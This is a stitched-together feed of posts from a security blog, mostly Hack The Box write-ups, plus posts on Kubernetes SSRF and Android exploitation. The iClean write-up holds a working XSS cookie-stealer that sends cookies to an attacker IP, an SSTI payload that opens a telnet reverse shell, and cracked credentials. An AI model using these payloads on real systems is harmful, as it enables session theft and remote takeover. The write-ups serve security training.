~ gobuster dir -u http://capiclean.htb/ -w directory-list-2.3-big.txt -s "200,204,301,302,307,401,403,405,500"

/about                (Status: 200) [Size: 5267]
/login                (Status: 200) [Size: 2106]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
/quote                (Status: 200) [Size: 2237]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 189] [--> /]
/choose               (Status: 200) [Size: 6084]
/server-status        (Status: 403) [Size: 278]

The quote page also sends a very simple request:

HTB Write-up | iClean (user-only)
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded

service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40htb.com

Testing these fields for XSS we get a hit on all the ports defined for the service parameter:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded

service=<img%20src='http://10.10.14.69:9001'/>&service=<img%20src='http://10.10.14.69:9002'/>&service=<img%20src='http://10.10.14.69:9003'/>&email=<img%20src='http://10.10.14.69:9004'/>

From XSS to Auth Bypass

Let's try to steal some cookies!

First, I'll setup a simple Flask API to receive POST requests from the injected JavaScript payload:

import json
from flask import Flask, request
from flask_cors import CORS
from urllib.parse import unquote
import base64

app = Flask(__name__)
CORS(app)

@app.route('/api/exfil', methods=['POST'])
def exfil():
    print("[+] Received data ")
    encoding = request.args.get('encoding')
    data = request.form.get('data')
    try:
        decoded_data = unquote(unquote(data))
        if encoding is not None and encoding == 'base64':
            print(base64.b64decode(decoded_data))
        else:
            print(decoded_data)
    except Exception as exception:
        print(f'Something went wrong: {exception}')
        return json.dumps({'success':False}), 500, {'ContentType':'application/json'}
    return json.dumps({'success':True}), 200, {'ContentType':'application/json'}

app.run(host='0.0.0.0', port=9000)

Now, let's build our payload:

(function () {
    const attackers_ip = '10.10.14.69';
    const flask_api_port = '9000';
    var exfil_data = function(data) {
        encoded_data = encodeURIComponent(data);
        fetch(
            `http://${attackers_ip}:${flask_api_port}/api/exfil?encoding=base64`,
            {
                method: 'POST',
                headers: { "Content-Type": "application/x-www-form-urlencoded" },
                body: "data=" + encoded_data
            }
        );
    }
    var attack = function() {
        try {
            exfil_data(btoa(document.cookie))
        } catch(error) {
            fetch(`http://${attackers_ip}?debug=${error.message}`)
        }
    }
    attack();
}());
exfil_cookie.js

It seems like the JS file is being invoked but not executed ...

Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.12 - - [02/Aug/2024 15:48:01] "GET /exfil_cookie.js HTTP/1.1" 200 -

After some tweaking we get a working payload:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 211

service=%3Cimg%20src%3Dx%20onerror%3D%22var%20script1%3Ddocument.createElement%28%27script%27%29%3Bscript1.src%3D%27http%3A//10.10.14.69%3A80/exfil_cookie.js%27%3Bdocument.head.appendChild%28script1%29%3B%22/%3E

// Decoded: 
// <img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.14.69:80/exfil_cookie.js';document.head.appendChild(script1);"/>

We have a cookie!

session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

From Auth Bypass to RCE

With this cookie we can now access the dashboard page:

HTB Write-up | iClean (user-only)
http://capiclean.htb/dashboard

We can generate a new invoice, which generates an ID:

POST /InvoiceGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

selected_service=Basic+Cleaning&qty=1&project=abc&client=abc&address=abc&email-address=admin%40capiclean.htb

The IDs are not sequential:

2481856170 
7829583255
7193822935

With these IDs we can generate a QR code:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

form_type=invoice_id&invoice_id=2481856170

The response contains a URL that points to a QR code:

<p>QR Code Link: <a href="http://capiclean.htb/static/qr_code/qr_code_2481856170.png" target="_blank">http://capiclean.htb/static/qr_code/qr_code_2481856170.png</a></p>

This link can then be used to generate a "scannable invoice":

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_2481856170.png

It looks like when a valid image is found, its content is base64-encoded and embedded in the response:

<div class="qr-code">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGIAAABiAQAAAACD3jujAAABTElEQVR4nL3UPaplMQgAYMFWcCuCreDWA2mFbCVgG3Ay583APXjrl+6DgPEvUB9nwC8IMOeAZRu8yXP52WhZXaKOkfMofhNFivJ3LZ+5ML/IM3YFz//xPgWozxHouolk6b33L79PHQkRS6rZZYE2tsSxLhJVDJpnd6GFuVUUd00Ihp0Gz6vf4kJKTdzepVurnGlBl1DKMruv78o5bQxWfrJ9i3yzLzHDLgGyIYfGE/2t2y8N9VSpLj3TaAoMb5oEY0ZkPRHeqrx3+WB6VzIzDphRXVO0DNP0p54v7RW4yHBL1y37AIzw+CI7lg5yRjUd2WORWK0uOTqB3Ry7AEeSxTD2Ltp35GrfVjfxFLtTOQG67ggQnRvjp2YvAbqMQ6bYdTcHh6U4edNdxCXCBPxN9LeRdw2+6WYUIWRdz88w6LB2Ac4Mp6NcTb/71/0BhwD5EVZWwGQAAAAASUVORK5CYII=" alt="QR Code">
</div>

Playing around with this field, we find that it's likely vulnerable to SSTI:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}
<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
</body>

After some trial and error (and with a lot of help from this article), we get a working RCE:

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('telnet 10.10.14.69 4444 | /bin/sh | telnet 10.10.14.69 4445')|attr('read')()%}{%print(a)%}{%endwith%}

Let's upgrade the telnet shell and enumerate:

python3 -c 'import pty; pty.spawn("/bin/bash")'
$ ls -la
-rw-r--r-- 1 root root 12553 Mar  2 07:29 app.py
drwxr-xr-x 6 root root  4096 Sep 27  2023 static
drwxr-xrwx 2 root root  4096 Aug  2 17:30 templates

$ cat app.py

[...]
db_config = {
    "host": "127.0.0.1",
    "user": "iclean",
    "password": "pxCsmnGLckUb",
    "database": "capiclean"
}
[...]

$ mysql -u iclean -ppxCsmnGLckUb capiclean

> select * from users;

| id | username | password | role_id |
+----+----------+----------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------+----------------------------------+
2 rows in set (0.00 sec)

Let's crack consuela's hash:

~ hashcat -a 0 -m 1400 consuela_hash.txt ../../../rockyou.txt --status --status-timer=10 -w 3 --show

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean

As expected, we can now SSH into the machine as consuela:

~ ssh consuela@capiclean.htb
consuela@capiclean.htb's password: simple and clean

[...]
You have mail.
Last login: Fri Aug  2 14:10:18 2024 from 10.10.14.108

consuela@iclean:~$ cat user.txt
163c1a080901773d156dfa33fe4a4d3e
]]>
<![CDATA[Exploiting SSRF in Kubernetes]]>While testing an API that was exposed to the Internet, I found an unauthorised SSRF vulnerability that allowed me to trick the server into performing any GET request using http or https protocol.

I had access to the response (i.e.: this wasn't a blind SSRF), full control

]]>
inesmartins.github.io/exploiting-ssrf-in-k8s-environment/660ac0a92ac6400bb040b8bfMon, 01 Apr 2024 17:30:11 GMT

While testing an API that was exposed to the Internet, I found an unauthorised SSRF vulnerability that allowed me to trick the server into performing any GET request using http or https protocol.

I had access to the response (i.e.: this wasn't a blind SSRF), full control of the URI, but, as expected, could not control the request headers. Also, there was no rate limit.

While writing my report I explained how this vulnerability could be abused to bypass security controls, enumerate internal hosts and services, and even perform DoS attacks on third parties or internal services.

However, I wanted to go one step further.

I knew the containerised application ran on a GKE cluster, so I wanted to see how much of the internal k8s configuration I could exfiltrate.

After coming across this post I found that the Kubelet API allows you to retrieve information about each pod running on the host by calling the following endpoint:

http://<host_ip>:10255/pods

As described in the documentation:

The information is very detailed and includes the metadata, labels, annotations, owner references (for example the DaemonSet that owns the pod), volumes, containers, and status.

The response was a gold mine.

Note that I was also able to trigger unauthorised requests that relate to metrics, but the results were not as relevant:

http://<host_ip>:10255/metrics
http://<host_ip>:10255/metrics/cadvisor
http://<host_ip>:10255/metrics/probes

Let me know if you come across other ways to exploit this vulnerability ;)

]]>
<![CDATA[HTB Write-up | Vessel (user-only)]]>inesmartins.github.io/htb-write-up-vessel/62d2d982c75dc1453ef69638Sat, 12 Nov 2022 13:08:15 GMT

Retired machine can be found here.


As per usual, let's start by configuring vessel.htb as a virtual host:

~ sudo nano /etc/hosts

...
# hackthebox
10.129.11.175    vessel.htb

... and run a quick (-F) nmap scan:

~ nmap -F vessel.htb -Pn

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ok, let's dig a little deeper on ports 22 and 80:

~ nmap -sC -sV vessel.htb -p 22,80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
|   256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
|_  256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There's a web service running on port 80:

HTB Write-up | Vessel (user-only)

Not much to see ... we can't even create an account:

HTB Write-up | Vessel (user-only)

However, gobuster found an interesting directory:

~ gobuster dir -u http://vessel.htb/ --exclude-length 26 -w big.txt
...
/dev                  (Status: 301) [Size: 173] [--> /dev/]

dev contains a .git directory, which is a great place to start:

~ gobuster dir -u http://vessel.htb/dev/ --exclude-length 26 common.txt

...
/.git/HEAD            (Status: 200) [Size: 23]
/.git/config          (Status: 200) [Size: 139]
/.git/index           (Status: 200) [Size: 2607]

Let's use git-dumper to dump everything:

~ pip install git-dumper
~ git-dumper http://vessel.htb/dev/.git/ git-output
~ cd git-output
~ ls -la
total 8
drwxr-xr-x   8 inesmartins  staff  256 Aug 28 12:58 .
drwxr-xr-x   5 inesmartins  staff  160 Aug 28 12:58 ..
drwxr-xr-x  13 inesmartins  staff  416 Aug 28 12:59 .git
drwxr-xr-x   3 inesmartins  staff   96 Aug 28 12:58 config
-rw-r--r--   1 inesmartins  staff  788 Aug 28 12:58 index.js
drwxr-xr-x   5 inesmartins  staff  160 Aug 28 12:58 public
drwxr-xr-x   3 inesmartins  staff   96 Aug 28 12:58 routes
drwxr-xr-x   9 inesmartins  staff  288 Aug 28 12:58 views

The config dir has some database credentials but we have nowhere to use them:

~ cat config/db.js
var mysql = require('mysql');

var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};

module.exports = connection;%

We can use GitKraken to better understand the history of this project:

HTB Write-up | Vessel (user-only)

In the "Security fixes" commit, "Ethan" changed the way that the login was done by parameterising the login query:

HTB Write-up | Vessel (user-only)

On the last commit ("Potential security fixes"), they simply added a comment about "Upgrading deprecated mysqljs", but they didn't make any other changes, which lets us know that this version of mysqljs is likely vulnerable:

HTB Write-up | Vessel (user-only)

It does seem like mysqljs is potentially vulnerable to SQL Injection:

Keys of objects in mysql node module v2.0.0-alpha7 and earlier are not escaped with mysql.escape() which could lead to SQL Injection.
[CVE-2015-9244]

Thanks to this article, I found a working payload pretty quickly:

POST /api/login HTTP/1.1
Host: vessel.htb
...

username=admin&password[password]=1

We're in!


Exploring the Dashboard

This entire website looks like it just contains charts and tables with mock data:

HTB Write-up | Vessel (user-only)
E

There's really not much else to explore, but when we click the "Analytics" tab, we can see a link to a new virtual host: http://openwebanalytics.vessel.htb, so let's map it out:

~ sudo nano /etc/host

...
10.129.11.175   vessel.htb
10.129.11.175   openwebanalytics.vessel.htb

Open Web Analytics

Open Web Analytics is the free and open source web analytics framework that lets you stay in control of how you instrument and analyze the use of your websites and application.
HTB Write-up | Vessel (user-only)

From the source code it looks like it's running version 1.7.3:

HTB Write-up | Vessel (user-only)

After testing out the password reset flow we know that admin@vessel.htb exists on this system, so we can assume that admin is a valid username, but unfortunately the only password we know - daqvACHKvRn84VdVp - does not work.

Open Web Analytics has a pretty interesting CVE:

Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes.
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.
[CVE-2022-24637]

This article does a great job at explaining how to exploit it, but it does obscure some information, so it took some trial and error until I was finally able to reset the user's password and login as admin.

The same article then goes on to describe a vulnerability that allows an Administrator to get RCE via log poisoning.

My final exploit is shown below:


Exploring the machine

Using this script, we're able to execute commands directly on the machine:

~ python3 owa.py --cmd="whoami"
www-data

Let's try to dump the mysql database, since we have the admin creds:

~ python3 owa.py --cmd="which mysqldump"
/usr/bin/mysqldump

~ python3 owa.py --cmd="/usr/bin/mysqldump -u default -pdaqvACHKvRn84VdVp vessel"
...
LOCK TABLES `accounts` WRITE;
/*!40000 ALTER TABLE `accounts` DISABLE KEYS */;
INSERT INTO `accounts` VALUES (1,'admin','k>N4Hf6TmHE(W]Uq\"(RCj}V>&=rB$4}<','admin@vessel.htb');
...

We have a possible password for the vessel web application, but this is likely useless.

Let's see what else is there:

~ python3 owa.py --cmd="ls -la /home"

total 16
drwxr-xr-x  4 root   root   4096 Aug 11 14:43 .
drwxr-xr-x 19 root   root   4096 Aug 11 14:43 ..
drwx------  5 ethan  ethan  4096 Aug 11 14:43 ethan
drwxrwxr-x  3 steven steven 4096 Aug 11 14:43 steven

~ python3 owa.py --cmd="ls -la /home/ethan"

~ ls -la /home/steven
total 33796
drwxrwxr-x 3 steven steven     4096 Aug 11 14:43 .
drwxr-xr-x 4 root   root       4096 Aug 11 14:43 ..
lrwxrwxrwx 1 root   root          9 Apr 18 14:45 .bash_history -> /dev/null
-rw------- 1 steven steven      220 Apr 17 18:38 .bash_logout
-rw------- 1 steven steven     3771 Apr 17 18:38 .bashrc
drwxr-xr-x 2 ethan  steven     4096 Aug 11 14:43 .notes
-rw------- 1 steven steven      807 Apr 17 18:38 .profile
-rw-r--r-- 1 ethan  steven 34578147 May  4 11:03 passwordGenerator

~ python3 owa.py --cmd="ls -la /home/steven/.notes"

total 40
drwxr-xr-x 2 ethan  steven  4096 Aug 11 14:43 .
drwxrwxr-x 3 steven steven  4096 Aug 11 14:43 ..
-rw-r--r-- 1 ethan  steven 17567 Aug 10 18:42 notes.pdf
-rw-r--r-- 1 ethan  steven 11864 May  2 21:36 screenshot.png

We have some interesting files!

The .pdf file is password-protected:

HTB Write-up | Vessel (user-only)

The screenshot seems to show the interface of the passwordGenerator file that we had found previously on steven's home directory:

HTB Write-up | Vessel (user-only)

Let's analyse the file:

~ python3 owa.py --cmd="file /home/steven/passwordGenerator"

/home/steven/passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows

PyInstaller

Once I tried to analyse the file using Ghidra, I found some interesting strings:

HTB Write-up | Vessel (user-only)

As you can see, there are multiple references to "PyInstaller":

PyInstaller bundles a Python application and all its dependencies into a single package. The user can run the packaged app without installing a Python interpreter or any modules.

According to this CTF write-up:

To reverse engineer PyInstaller generated binaries we need to extract its contents. We can use PyInstaller Extractor. [...]

So, let's get the source from Github and run it:

~ python3 pyinstxtractor/pyinstxtractor.py passwordGenerator.exe        INT
[+] Processing passwordGenerator.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[+] Found 142 files in PYZ archive
[+] Successfully extracted pyinstaller archive: passwordGenerator.exe

You can now use a python decompiler on the pyc files within the extracted directory

According to this project, we can get the original source code by using "a Python decompiler like Uncompyle6.", but I found that decompyle3 actually works a lot better for python 3.9.x:

~ python3 -m pip install decompyle3
~ decompyle3 passwordGenerator.exe_extracted/passwordGenerator.pyc > password_generator.py

We need to install a couple of packages to get the script to run:

~ python3 -m pip install PySide2
~ python3 -m pip install pyperclip

Now that the script is running locally, we can modify it to try all of the possibilities on the notes.pdf file:

from PySide2.QtCore import QTime, qsrand, qrand
import pikepdf

def gen_all_passwords():
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
    passwords = []
    for msec in range(0, 1000):
        qsrand(msec)
        password = ''
        for i in range(0, 32):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
        if password not in passwords:
            passwords.append(password)
    return passwords

all_passwords = gen_all_passwords()
for pwn in all_passwords:
    try:
        with pikepdf.open("notes.pdf", password = pwn) as p:
            print("[+] Password found:", pwn)
            break
    except pikepdf._qpdf.PasswordError as e:
        print("[+] Password failed:", pwn)
        continue

I couldn't get a valid password on macOS, but when I switched to Windows, it finally worked:

...
[+] Password failed: E_{+67i$jNn)4jc)EFaf,p%i+Fgh}|G.
[+] Password failed: I11Dw&Q+$G&bQLrnRH{sUjpR$c3rO**Z
[+] Password failed: LgLUX[N>X?L(;E-We:m_cO.B_zCmn7t2
[+] Password failed: O<+2NBLW3Ipat&A}r>A>zJ06!7Yxw~UI
[+] Password failed: S!j(E>IgLA(*H0Q05(zJ+{Tp*|ur_y<k
[+] Password failed: VrK?%HFpq:MZ-mvc>6NW:):Z0O;3Jmr!
[+] Password found: YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS
HTB Write-up | Vessel (user-only)

So, now we have a password: b@mPRNSVTjjLKId1T, which we can use to SSH as ethan:

~ ssh ethan@vessel.htb
ethan@vessel.htb's password: b@mPRNSVTjjLKId1T

Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64)
...

Resources

This article helped me understand the issue a bit further:

CRI-O can set kernel parameters (sysctls) at pod startup using the pinns utility. [...] Since some sysctls share settings with the host, the sysctls that can be set at container startup are limited to namespaced ones.

This means that, in theory, we should not be able to set the kernel.core_pattern parameter, since it's not namespaced and therefore affects the host. However:

[The validation] of sysctl keys within CIO-O can be bypassed by passing a string containing + [...].

So, it seems like all we need to do is to call the pinns binary and bypass its validation in order to specify a kernel.core_pattern property that executes our malicious command.

Let's first build the malicious command, which simply outputs the root flag to a tmp directory:

# creates the malicious command
ethan@vessel:~$ echo '#!/bin/sh' > /tmp/cmd
ethan@vessel:~$ echo 'cat /root/root.txt > /tmp/output' >> /tmp/cmd

ethan@vessel:~$ cat /tmp/cmd
#!/bin/sh
cat /root/root.txt > /tmp/output

ethan@vessel:~$ chmod a+x /tmp/cmd

In theory, we should be able to exploit the vulnerability as shown below:

ethan@vessel:~$ pinns \
-d /var/run/ \
-f <random-uuid> \
-s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/cmd' && cat /tmp/output

Once I ran this command I was able to see that the following file systems were mounted:

ethan@vessel:~$ cat /proc/mounts | grep <random-uuid>
nsfs /run/utsns/<random-uuid> nsfs rw 0 0
nsfs /run/ipcns/<random-uuid> nsfs rw 0 0
nsfs /run/netns/<random-uuid> nsfs rw 0 0

But I was still not able to get the flag:

ethan@vessel:~$ cat /tmp/output
cat: /tmp/output: No such file or directory

random-uuid: 37f594b6-4ffb-43a2-a0d5-e7b23d642119.

]]>
<![CDATA[Exfiltrating data from Android applications via WebView Takeover (Open Redirect)]]>inesmartins.github.io/exfiltrating-data-via-webview-takeover/633da33c7f824771affc373eThu, 06 Oct 2022 13:45:32 GMT

In this article, I go through the scenarios in which I've been able to exfiltrate data from real Android applications, after detecting a WebView takeover (aka "Open Redirect") vulnerability.

Typically this vulnerability is the result of allowing an external Intent to control a URI that is loaded onto a WebView, declared inside the vulnerable application.

This Intent can sometimes be triggered via deep link, but more often than not, requires that a malicious application be installed in the victim's device.

Note that this article closely relates to the "Exploiting Deep Links in Android" series, particularly with Part 2.

1. Abusing Javascript Bindings

If the vulnerable WebView registers any web interfaces, and you're able to redirect it to a website you control, then you can simply add JavaScript to your website that interacts with the app's code directly.

If you can read the app's source code, search for any calls to the  addJavascriptInterface method, to find the name of the declared interface(s), and then you can find all of the exposed methods annotated with @JavascriptInterface.

On your website, your JS code can call all of the exposed methods by using the window.interface_name.method_name syntax.

Of course, the impact will vary depending on what the exposed methods allow you to do.

To see a more detailed example, check out this HackerOne report: https://hackerone.com/reports/401793.

2. Via Malicious app (< 24 SDK)

If the vulnerable WebView can load local file:// URIs, you might be able exfiltrate all of the app's files with a little help from a malicious application.

Here are the steps:

  1. the malicious application writes an HTML file to a shared directory, accessible by the vulnerable app (e.g.: /sdcard);
  2. the malicious application sends an Intent to the vulnerable app that contains a file:// URI that matches the location of the HTML file;
  3. the file:// URI is loaded by the vulnerable WebView;
  4. once the HTML file is loaded, the JS code declared inside this file reads all local files and sends them to a server you control.

Note that the following conditions need to be present in order for this to work:

  • the malicious app needs to be granted the WRITE_EXTERNAL_STORAGE permission and needs to be able to write to a shared location, which is only possible before the enforcement of "scoped storage" (< SDK 30);
  • the vulnerable app needs to be granted the READ_EXTERNAL_STORAGE permission and needs to be able to read from a shared location, same reason as above;
  • the vulnerable app needs to be able to read file:// URIs, which will throw an error after SDK 24 (you might get lucky if the developer actually intends for this to happen, and adds custom code to enable this behaviour);
  • the vulnerable WebView needs to have JS enabled.
]]>
<![CDATA[DataStore is the new SharedPreferences, old vulns still apply]]>inesmartins.github.io/when-not-to-use-jetpack-datastore/63238266fc8e93355628956cThu, 15 Sep 2022 20:19:46 GMT

Banner from https://medium.com/huawei-developers/jetpack-datastore-in-a-nutshell-88006b38fa68.


I've been out of the Android development game for a while, so I didn't know that Jetpack's DataStore was being commonly used instead of SharedPreferences:

SharedPreferences comes with several drawbacks: a synchronous API that can appear safe to call on the UI thread, no mechanism for signaling errors, lack of transactional API, and more.
DataStore is a replacement for SharedPreferences that addresses most of these shortcomings.
DataStore includes a fully asynchronous API using Kotlin coroutines and Flow, handles data migration, guarantees data consistency, and handles data corruption. [Source]

Neither DataStore nor SharedPreferences should be used to persist sensitive data ... but as we know, Insecure Data Storage is one of the most common vulnerabilities found in mobile applications.

So, I was auditing an application, and I ended up stumbling upon a
app-name.preferences_pb file under /data/data/app-name/files/datastore/ - I later learned that this is where the files generated by Proto DataStore are saved.

These files are serialized using Google's Protocol Buffers, which means we can use the protoc binary to read them.

protoc --decode_raw < appname.preferences_pb

Here, I found something interesting, a field that specified the maximum number of failed PIN code attempts that the user could perform.

There were definitely other ways to bypass this PIN feature but I wanted to prove a point: I wanted to show developers that trusting a local (unencrypted) file to make security decisions was not a good idea.

So, I thought I would just change the value on the file, and show them how easily we could brute-force all possible combinations.

However, changing this value compromised the ProtoBuf serialization. So, this is the only straightforward solution I've found so far:

  1. create a new Android application;
  2. import the DataStore library;
  3. add all the boilerplate code needed in order to write to the DataStore;
  4. set all of the same key/value combinations that were on the original (audited) application;
  5. change the values you want to manipulate;
  6. run the application;
  7. copy the DataStore file from the application to the application you want to manipulate:
~ adb pull /data/data/test-app/files/datastore/test-app.preferences_pb modified.preferences_pb

~ adb push modified.preferences_pb /data/data/audited-app/files/datastore/audited-app.preferences_pb 

And that's it!

The maximum number of failed PIN code attempts was increased, it was possible to brute-force the PIN code, and my developers learned their lesson :)

]]>
<![CDATA[HTB Write-up | Paper]]>inesmartins.github.io/htb-write-up-paper/62372fd922c479079cf78310Sat, 16 Jul 2022 15:19:29 GMT

A quick initial scan discloses web services running on ports 80 and 443, as well as an SSH server running on port 22:

~ nmap 10.10.11.143 -F -Pn

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

A closer look at these ports doesn't reveal anything too interesting, and both the secure and non-secure versions of the website show the same boilerplate content:

HTB Write-up | Paper

However, looking at the server response for this page, we can see an interesting header:

HTB Write-up | Paper

When we configure this virtual host locally, we see a blog for the "Blunder Tiffin Paper Company":

~ sudo nano /etc/hosts

...
10.10.11.143    office.paper
HTB Write-up | Paper

Going through the posts we can see some hints:

HTB Write-up | Paper

So, ... Prisonmike is supposed to be the only user but nick commented that they should "remove the secret content" from the drafts ... interesting.

Running nikto we can see that this is a Wordpress blog:

~ nikto -h http://office.paper/
...

+ Uncommon header 'link' found, with contents: <http://office.paper/index.php/wp-json/>; rel="https://api.w.org/"
+ Uncommon header 'x-redirect-by' found, with contents: WordPress

wpscan identified that the blog is using version 5.2.3 of Wordpress, which has many known vulnerabilities, however, one stands out, since it doesn't require valid credentials and it has to do with accessing user drafts:

~ wpscan --url office.paper --api-token <your-api-token>

...
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
...

Using the trick described in this blog post we find a draft post with some secrets:

HTB Write-up | Paper

So, there's a "Secret Registration URL of new Employee chat system", which is hosted at chat.office.paper, let's configure this virtual host:

~ sudo nano /etc/hosts

...
10.10.11.143    office.paper
10.10.11.143    chat.office.paper

Now, we can see the chat system and register a new account.
Turns out this application is an instance of RocketChat:

HTB Write-up | Paper

After scrolling to the top of the #general channel, we can see that there's a helpful bot called recyclops which, among other things, can fetch files in the local machine:

HTB Write-up | Paper

There's even a security-related warning:

HTB Write-up | Paper

Ok, let's see what this baby can do:

HTB Write-up | Paper

Let's see if we can list other directories ...

~ list ../

total 56
drwx------ 12 dwight dwight 4096 Mar 20 10:52 .
drwxr-xr-x. 3 root root 20 Mar 20 10:54 ..
-rw------- 1 dwight dwight 1486 Mar 20 11:21 .bash_history
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 2021 bot_restart.sh
drwx------ 2 dwight dwight 6 Mar 18 12:47 .cache
drwx------ 5 dwight dwight 56 Jul 3 2021 .config
-rw------- 1 dwight dwight 18 Mar 19 02:39 .dbshell
-rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx------ 3 dwight dwight 69 Mar 19 02:39 .gnupg
drwx------ 8 dwight dwight 4096 Mar 19 10:11 hubot
-rw-rw-r-- 1 dwight dwight 18 Sep 16 2021 .hubot_history
drwx------ 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
-rw------- 1 dwight dwight 7 Mar 18 12:56 .python_history
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
drwx------ 2 dwight dwight 6 Sep 16 2021 .ssh
-r-------- 1 dwight dwight 33 Mar 18 01:54 user.txt
drwxr-xr-x 2 dwight dwight 24 Sep 16 2021 .vim
-rw------- 1 dwight dwight 2657 Mar 20 08:31 .viminfo

The hubot directory looks interesting, particularly because it has a .env file, which usually stores credentials:

list ../hubot
...
-rw-r--r-- 1 dwight dwight 258 Sep 16 2021 .env

Yes, we have some creds!

~ file ../hubot/.env

export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

And we can use them to SSH into the machine as dwight!

HTB Write-up | Paper

linpeas.sh is pretty good at identifying privilege escalation issues, so let's start by sending the script to the machine's /tmp file:

~ scp linpeas.sh dwight@10.10.11.143:/tmp
~ ssh dwight@10.10.11.143
